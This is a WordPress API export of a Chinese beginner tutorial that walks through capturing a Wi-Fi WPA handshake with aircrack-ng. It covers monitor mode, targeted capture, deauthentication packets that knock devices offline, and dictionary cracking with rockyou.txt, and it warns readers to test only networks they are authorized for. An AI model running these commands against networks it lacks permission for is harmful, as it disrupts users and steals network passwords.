{"id":695,"date":"2025-05-08T03:11:43","date_gmt":"2025-05-07T19:11:43","guid":{"rendered":"https:\/\/www.zhzxs.xyz\/?p=695"},"modified":"2025-05-08T03:14:10","modified_gmt":"2025-05-07T19:14:10","slug":"1746645072","status":"publish","type":"post","link":"https:\/\/www.zhzxs.site\/index.php\/2025\/05\/08\/1746645072\/","title":{"rendered":"wifi\u63e1\u624b\u5305\u6293\u53d6\u5e76\u8dd1\u5305"},"content":{"rendered":"\n

\u5728 Kali Linux<\/strong> \u4e2d\u6293\u53d6 Wi-Fi \u63e1\u624b\u5305\u5e76\u8dd1\u5305\uff08\u7834\u89e3 Wi-Fi \u5bc6\u7801\uff09\uff0c\u9002\u5408\u521d\u5b66\u8005\u5165\u95e8\u5b66\u4e60\u7528\u9014\u3002\u8bf7\u4f60\u52a1\u5fc5 \u53ea\u5bf9\u4f60\u6709\u6388\u6743\u7684 Wi-Fi \u7f51\u7edc\u64cd\u4f5c<\/strong>\uff0c\u5426\u5219\u662f\u8fdd\u6cd5\u7684\u3002<\/p>\n\n\n\n

\n\n\n\n

\u2705 \u6240\u9700\u5de5\u5177\uff1a<\/h2>\n\n\n\n
    \n
  • Kali Linux\uff08\u5efa\u8bae\u4f7f\u7528\u771f\u5b9e\u7f51\u5361\u6216\u517c\u5bb9\u7684 USB Wi-Fi \u7f51\u5361\uff09<\/li>\n\n\n\n
  • \u5de5\u5177\uff1aaircrack-ng<\/code> \u5957\u4ef6<\/li>\n\n\n\n
  • \u7f51\u5361\u652f\u6301 \u76d1\u542c\u6a21\u5f0f\uff08monitor mode\uff09<\/strong><\/li>\n<\/ul>\n\n\n\n
    \n\n\n\n

    \ud83d\udccb \u64cd\u4f5c\u6b65\u9aa4<\/h2>\n\n\n\n
    \n\n\n\n

    1\ufe0f\u20e3 \u6253\u5f00\u7ec8\u7aef\uff0c\u67e5\u770b\u65e0\u7ebf\u7f51\u5361\u540d\u79f0<\/h3>\n\n\n\n
    sudo iwconfig\n<\/code><\/pre>\n\n\n\n
    \u4f5c\u7528<\/strong>\uff1a\u67e5\u770b\u65e0\u7ebf\u7f51\u5361\u662f\u5426\u5b58\u5728\u3001\u662f\u5426\u652f\u6301 Monitor \u6a21\u5f0f\uff0c\u8f93\u51fa\u4e2d\u5e38\u89c1\u7f51\u5361\u540d\u5982 wlan0<\/code>\u3002<\/p>\n\n\n\n
    \n\n\n\n
    2\ufe0f\u20e3 \u5c06\u7f51\u5361\u8bbe\u7f6e\u4e3a\u76d1\u542c\u6a21\u5f0f\uff08Monitor mode\uff09<\/h3>\n\n\n\n
    sudo airmon-ng start wlan0\n<\/code><\/pre>\n\n\n\n
    \n
    \u26a0\ufe0f \u628a wlan0<\/code> \u66ff\u6362\u6210\u4f60\u5b9e\u9645\u7684\u7f51\u5361\u540d\u3002<\/p>\n<\/blockquote>\n\n\n\n
    \u4f5c\u7528<\/strong>\uff1a\u5c06\u65e0\u7ebf\u7f51\u5361\u5207\u6362\u6210\u76d1\u542c\u6a21\u5f0f\uff08\u6293\u5305\u4e13\u7528\uff09\uff0c\u542f\u52a8\u540e\u4f1a\u53d8\u6210 wlan0mon<\/code>\uff08\u6216\u7c7b\u4f3c\u540d\u5b57\uff09\u3002<\/p>\n\n\n\n
    \n\n\n\n
    3\ufe0f\u20e3 \u626b\u63cf\u5468\u56f4\u7684 Wi-Fi \u7f51\u7edc<\/h3>\n\n\n\n
    sudo airodump-ng wlan0mon\n<\/code><\/pre>\n\n\n\n
    \u4f5c\u7528<\/strong>\uff1a\u7528\u76d1\u542c\u6a21\u5f0f\u67e5\u770b\u9644\u8fd1\u6240\u6709 Wi-Fi \u7684\u8be6\u7ec6\u4fe1\u606f\uff0c\u5305\u62ec\uff1a<\/p>\n\n\n\n
      \n
    • ESSID\uff08Wi-Fi\u540d\u79f0\uff09<\/li>\n\n\n\n
    • BSSID\uff08MAC\u5730\u5740\uff09<\/li>\n\n\n\n
    • \u4fe1\u9053\uff08CH\uff09<\/li>\n\n\n\n
    • \u52a0\u5bc6\u7c7b\u578b\u7b49<\/li>\n<\/ul>\n\n\n\n
      \n
      \u6309\u4e0b Ctrl + C<\/code> \u505c\u6b62\u626b\u63cf\u3002\u9009\u5b9a\u4f60\u8981\u6d4b\u8bd5\u7684\u76ee\u6807\uff08\u4f60\u5bb6\u8def\u7531\u5668\uff09\u5e76\u8bb0\u4e0b\uff1a<\/p>\n\n\n\n
        \n
      • BSSID\uff08\u5982 00:11:22:33:44:55<\/code>\uff09<\/li>\n\n\n\n
      • Channel \u4fe1\u9053\u53f7\uff08\u5982 6\uff09<\/li>\n<\/ul>\n<\/blockquote>\n\n\n\n
        \n\n\n\n
        4\ufe0f\u20e3 \u53ea\u76d1\u542c\u4e00\u4e2a\u76ee\u6807 Wi-Fi\uff0c\u51c6\u5907\u6293\u63e1\u624b\u5305<\/h3>\n\n\n\n
        sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w handshake wlan0mon\n<\/code><\/pre>\n\n\n\n
        \u89e3\u91ca\uff1a<\/p>\n\n\n\n
          \n
        • -c 6<\/code>\uff1a\u4fe1\u9053\u53f7\u4e3a 6\uff08\u66ff\u6362\u6210\u76ee\u6807\u7684\u4fe1\u9053\uff09<\/li>\n\n\n\n
        • --bssid<\/code>\uff1a\u76ee\u6807 Wi-Fi \u7684 MAC \u5730\u5740<\/li>\n\n\n\n
        • -w handshake<\/code>\uff1a\u4fdd\u5b58\u6587\u4ef6\u4e3a handshake.cap<\/code><\/li>\n\n\n\n
        • wlan0mon<\/code>\uff1a\u76d1\u542c\u6a21\u5f0f\u7f51\u5361<\/li>\n<\/ul>\n\n\n\n
          \u4f5c\u7528<\/strong>\uff1a\u53ea\u76d1\u542c\u76ee\u6807 Wi-Fi\uff0c\u7b49\u5f85\u5ba2\u6237\u7aef\u8fde\u63a5\u6216\u91cd\u65b0\u8fde\u63a5\uff0c\u4ece\u800c\u6293\u53d6\u63e1\u624b\u5305\u3002<\/p>\n\n\n\n
          \n\n\n\n
          5\ufe0f\u20e3 \uff08\u53ef\u9009\uff09\u8e22\u51fa\u5df2\u8fde\u63a5\u8bbe\u5907\u6765\u5f3a\u5236\u91cd\u65b0\u63e1\u624b<\/h3>\n\n\n\n
          sudo aireplay-ng -0 5 -a 00:11:22:33:44:55 wlan0mon\n<\/code><\/pre>\n\n\n\n
          \u89e3\u91ca\uff1a<\/p>\n\n\n\n
            \n
          • -0 5<\/code>\uff1a\u53d1\u9001 5 \u4e2a deauth\uff08\u65ad\u5f00\u8fde\u63a5\uff09\u5305<\/li>\n\n\n\n
          • -a<\/code>\uff1a\u76ee\u6807\u8def\u7531\u5668 BSSID<\/li>\n\n\n\n
          • wlan0mon<\/code>\uff1a\u76d1\u542c\u7f51\u5361<\/li>\n<\/ul>\n\n\n\n
            \u4f5c\u7528<\/strong>\uff1a\u8e22\u6389\u5f53\u524d\u8fde\u63a5\u8bbe\u5907\uff0c\u4fc3\u4f7f\u5b83\u91cd\u65b0\u8fde\u63a5\uff0c\u4ece\u800c\u4ea7\u751f\u63e1\u624b\u5305\u3002<\/p>\n\n\n\n
            \n
            \u4f60\u53ef\u4ee5\u540c\u65f6\u5f00\u4e24\u4e2a\u7ec8\u7aef\u7a97\u53e3\uff0c\u4e00\u4e2a\u76d1\u542c\u3001\u4e00\u4e2a\u8e22\u4eba\uff0c\u76f4\u5230\u6293\u5230\u63e1\u624b\u5305\u3002<\/p>\n<\/blockquote>\n\n\n\n
            \n\n\n\n
            6\ufe0f\u20e3 \u6293\u5230\u63e1\u624b\u5305\u540e\uff0c\u505c\u6b62\u6293\u5305\u5e76\u5f00\u59cb\u7834\u89e3<\/h3>\n\n\n\n
            sudo aircrack-ng -w \u5bc6\u7801\u5b57\u5178.txt -b 00:11:22:33:44:55 handshake-01.cap\n<\/code><\/pre>\n\n\n\n
            \u89e3\u91ca\uff1a<\/p>\n\n\n\n
              \n
            • -w \u5bc6\u7801\u5b57\u5178.txt<\/code>\uff1a\u6307\u5b9a\u5bc6\u7801\u5b57\u5178\u6587\u4ef6\uff08\u4f60\u53ef\u4ee5\u7528 rockyou.txt \u6216\u81ea\u5b9a\u4e49\uff09<\/li>\n\n\n\n
            • -b<\/code>\uff1a\u76ee\u6807 Wi-Fi \u7684 BSSID<\/li>\n\n\n\n
            • handshake-01.cap<\/code>\uff1a\u521a\u624d\u4fdd\u5b58\u7684\u63e1\u624b\u5305\u6587\u4ef6<\/li>\n<\/ul>\n\n\n\n
              \u4f5c\u7528<\/strong>\uff1a\u4f7f\u7528\u5b57\u5178\u653b\u51fb\u65b9\u5f0f\uff0c\u8dd1\u5305\u7834\u89e3\u5bc6\u7801\u3002<\/p>\n\n\n\n
              \n\n\n\n
              \ud83d\udca1 \u5b57\u5178\u5728\u54ea\uff1f<\/h2>\n\n\n\n
              Kali \u81ea\u5e26\u5e38\u7528\u5b57\u5178\u6587\u4ef6\uff1a<\/p>\n\n\n\n
              \/usr\/share\/wordlists\/rockyou.txt.gz\n<\/code><\/pre>\n\n\n\n
              \u5148\u89e3\u538b\uff1a<\/p>\n\n\n\n
              sudo gzip -d \/usr\/share\/wordlists\/rockyou.txt.gz\n<\/code><\/pre>\n\n\n\n
              \n\n\n\n
              \u2705 \u603b\u7ed3\u547d\u4ee4\u6d41\u7a0b\uff1a<\/h2>\n\n\n\n
              iwconfig                        # \u67e5\u770b\u7f51\u5361\u540d\nairmon-ng start wlan0          # \u5f00\u542f\u76d1\u542c\u6a21\u5f0f\nairodump-ng wlan0mon           # \u626b\u63cf Wi-Fi\nairodump-ng -c 6 --bssid \u76ee\u6807BSSID -w handshake wlan0mon   # \u76d1\u542c\u76ee\u6807\u6293\u5305\naireplay-ng -0 5 -a \u76ee\u6807BSSID wlan0mon   # \u5f3a\u5236\u65ad\u7ebf\u6293\u63e1\u624b\u5305\naircrack-ng -w rockyou.txt -b \u76ee\u6807BSSID handshake-01.cap   # \u7834\u89e3\u5bc6\u7801\n<\/code><\/pre>\n\n\n\n
              \n","protected":false},"excerpt":{"rendered":"
              \u5728 Kali Linux \u4e2d\u6293\u53d6 Wi-Fi \u63e1\u624b\u5305\u5e76\u8dd1\u5305\uff08\u7834\u89e3 Wi-Fi \u5bc6\u7801\uff09\uff0c\u9002\u5408\u521d\u5b66\u8005\u5165\u95e8\u5b66\u4e60\u7528\u9014\u3002 […]<\/p>\n","protected":false},"author":1,"featured_media":107,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[113,145,146],"class_list":["post-695","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-2","tag-kali","tag-wifi","tag-146"],"_links":{"self":[{"href":"https:\/\/www.zhzxs.site\/index.php\/wp-json\/wp\/v2\/posts\/695","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.zhzxs.site\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zhzxs.site\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zhzxs.site\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zhzxs.site\/index.php\/wp-json\/wp\/v2\/comments?post=695"}],"version-history":[{"count":2,"href":"https:\/\/www.zhzxs.site\/index.php\/wp-json\/wp\/v2\/posts\/695\/revisions"}],"predecessor-version":[{"id":697,"href":"https:\/\/www.zhzxs.site\/index.php\/wp-json\/wp\/v2\/posts\/695\/revisions\/697"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.zhzxs.site\/index.php\/wp-json\/wp\/v2\/media\/107"}],"wp:attachment":[{"href":"https:\/\/www.zhzxs.site\/index.php\/wp-json\/wp\/v2\/media?parent=695"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zhzxs.site\/index.php\/wp-json\/wp\/v2\/categories?post=695"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zhzxs.site\/index.php\/wp-json\/wp\/v2\/tags?post=695"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}